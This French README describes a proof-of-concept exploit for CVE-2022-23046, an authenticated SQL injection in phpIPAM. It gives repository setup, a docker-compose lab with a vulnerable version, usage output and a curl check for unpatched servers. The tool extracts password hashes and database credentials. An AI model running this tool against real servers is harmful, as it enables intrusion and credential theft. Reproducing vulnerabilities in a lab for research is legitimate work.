
Preuve de concept d'exploit pour CVE-2022-23046, une injection SQL authentifiée dans PhpIPAM v1.4.4. Extrait les informations du serveur, les paramètres SMTP, les hachages d'utilisateurs et les identifiants de base de données via le point de terminaison edit-bgp-mapping-search.php.
La découverte originale et le PoC manuel proviennent de Fluidattacks:
PhpIPAM v1.4.4 permet à un utilisateur admin authentifié d'injecter des instructions SQL dans le paramètre "subnet" lors de la recherche d'un sous-réseau via app/admin/routing/edit-bgp-mapping-search.php.
Ce PoC exécute quelques injections SQL simples pour récupérer des informations telles que :
Certaines de ces informations sont accessibles via le backend, mais je les ai ajoutées ici comme moyen simple de récupérer toutes les informations en une seule requête. N'hésitez pas à ajouter/supprimer vos propres payloads.
Pour des choses plus avancées, créez vos propres payloads (dans res.payloads), utilisez burpsuite ou sqlmap.
git clone https://github.com/jcarabantes/CVE-2022-23046.git
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python CVE-2022-23046.py -h
version: '3'
services:
phpipam-web:
image: phpipam/phpipam-www:v1.4.3
ports:
- "8888:80"
environment:
- TZ=Europe/London
- IPAM_DATABASE_HOST=phpipam-mariadb
- IPAM_DATABASE_PASS=my_secret_phpipam_pass
- IPAM_DATABASE_WEBHOST=%
restart: unless-stopped
volumes:
- phpipam-logo:/phpipam/css/images/logo
depends_on:
- phpipam-mariadb
phpipam-cron:
image: phpipam/phpipam-cron:latest
ports:
- "8889:80"
environment:
- TZ=Europe/London
- IPAM_DATABASE_HOST=phpipam-mariadb
- IPAM_DATABASE_PASS=my_secret_phpipam_pass
- SCAN_INTERVAL=1h
restart: unless-stopped
depends_on:
- phpipam-mariadb
phpipam-mariadb:
image: mariadb:latest
environment:
- MYSQL_ROOT_PASSWORD=my_secret_mysql_root_pass
restart: unless-stopped
volumes:
- phpipam-db-data:/var/lib/mysql
volumes:
phpipam-db-data:
phpipam-logo:
python CVE-2022-23046.py -h
___ _ _ ____ ___ ___ ___ ___ ___ ___ ___ __ _
/ __)( \/ )( ___)___(__ \ / _ \(__ \ (__ \ ___(__ \ (__ ) / _ \ /. | / )
( (__ \ / )__)(___)/ _/( (_) )/ _/ / _/(___)/ _/ (_ \( (_) )(_ _)/ _ \
\___) \/ (____) (____)\___/(____)(____) (____)(___/ \___/ (_) \___/
Vulnerability discovered by Oscar Uribe
PoC author: @javicarabantes
usage: CVE-2022-23046.py [-h] [-d] [-q] --url URL --user USER
optional arguments:
-h, --help show this help message and exit
-d Debug output
-q Do not print the banner
--url URL phpipam url: https://ipamserver:8081/
--user USER admin user
python CVE-2022-23046.py --url http://localhost:8888/ --user admin

J'ai testé ce PoC sur différentes versions de phpipam : 1.4.3, 1.4.4 et 1.5, et cela a fonctionné (pas seulement < 1.4.5).
En vérifiant le projet github de phpipam, j'ai vu que le commit 4b764b9cb236d1a4a06fc8ad9a93b306b3f5c04d affectait également la version 1.5
Fichier utile : https://github.com/phpipam/phpipam/blob/master/misc/CHANGELOG
Vérifiez si le CHANGELOG est accessible et contient le commentaire sur ce correctif, sinon le serveur phpipam est peut-être vulnérable.
curl -sk https://phpipamserver/misc/CHANGELOG | grep "edit-bgp-mapping-search.php"